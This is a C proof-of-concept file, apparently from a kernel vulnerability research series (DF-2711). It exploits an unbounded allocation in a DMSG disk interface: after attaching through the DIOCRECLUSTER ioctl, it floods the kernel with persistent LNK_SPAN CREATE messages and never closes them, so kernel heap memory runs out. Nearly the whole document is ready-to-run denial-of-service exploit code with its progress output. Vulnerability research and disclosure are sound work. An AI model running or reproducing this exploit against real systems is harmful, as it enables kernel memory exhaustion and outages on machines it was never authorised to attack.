DF-2711 / dmsg_flood.c
/* * DF-2711: unbounded peer-driven kdmsg_state allocation (no quota). * Attaches to the vbd0 disk DMSG iocom via DIOCRECLUSTER (root) and * floods N independent LNK_SPAN CREATE messages at circuit 0 with unique * msgids and NO DELETEs. Every CREATE allocates a persistent kdmsg_state * retained until teardown. Kernel heap growth is observed via vmstat -m. * * Based on the DF-0017 wire rig (DIOCRECLUSTER + AF_UNIX socketpair). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/ioccom.h> #include <sys/diskslice.h> #include <sys/dmsg.h> #include <sys/socket.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <err.h> #define DMSG_DISK "/dev/vbd0" #ifndef DIOCRECLUSTER #include <sys/diskslice.h> #endif static void mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit) { dmsg_hdr_t *h = buf; memset(buf, 0, 64); h->magic = DMSG_HDR_MAGIC; h->cmd = cmd; h->msgid = msgid; h->circuit = circuit; h->aux_bytes = 0; h->hdr_crc = 0; h->aux_crc = 0; } static void * drain(void *arg) { int fd = *(int *)arg; char buf[65536]; for (;;) if (read(fd, buf, sizeof(buf)) <= 0) break; return NULL; } int main(int argc, char **argv) { setvbuf(stderr, NULL, _IONBF, 0); long n = 200000; if (argc >= 2) n = atol(argv[1]); int diskfd = open(DMSG_DISK, O_RDWR); if (diskfd < 0) err(1, "open %s", DMSG_DISK); int sv[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) err(1, "socketpair"); pthread_t dt; pthread_create(&dt, NULL, drain, &sv[1]); struct disk_ioc_recluster recl; memset(&recl, 0, sizeof(recl)); recl.fd = sv[0]; if (ioctl(diskfd, DIOCRECLUSTER, &recl) < 0) err(1, "DIOCRECLUSTER"); fprintf(stderr, "[*] iocom attached; flooding %ld persistent " "LNK_SPAN CREATEs (unique msgid, no DELETE)\n", n); char buf[64]; long i; for (i = 1; i <= n; i++) { mk_dmsg(buf, DMSG_LNK_SPAN | DMSGF_CREATE, (uint64_t)i, 0ULL); if (write(sv[1], buf, 64) != 64) { fprintf(stderr, "[!] write failed at %ld: %s\n", i, strerror(errno)); break; } if ((i % 25000) == 0) fprintf(stderr, "[*] %ld CREATEs sent\n", i); } fprintf(stderr, "[*] sent %ld CREATEs; sleeping 5s for the reader " "thread\n", i - 1); sleep(5); fprintf(stderr, "[*] states are retained until teardown; check " "vmstat -m / memory pressure now\n"); /* deliberately do NOT close sv[1]: keep states alive */ pause(); return 0; } |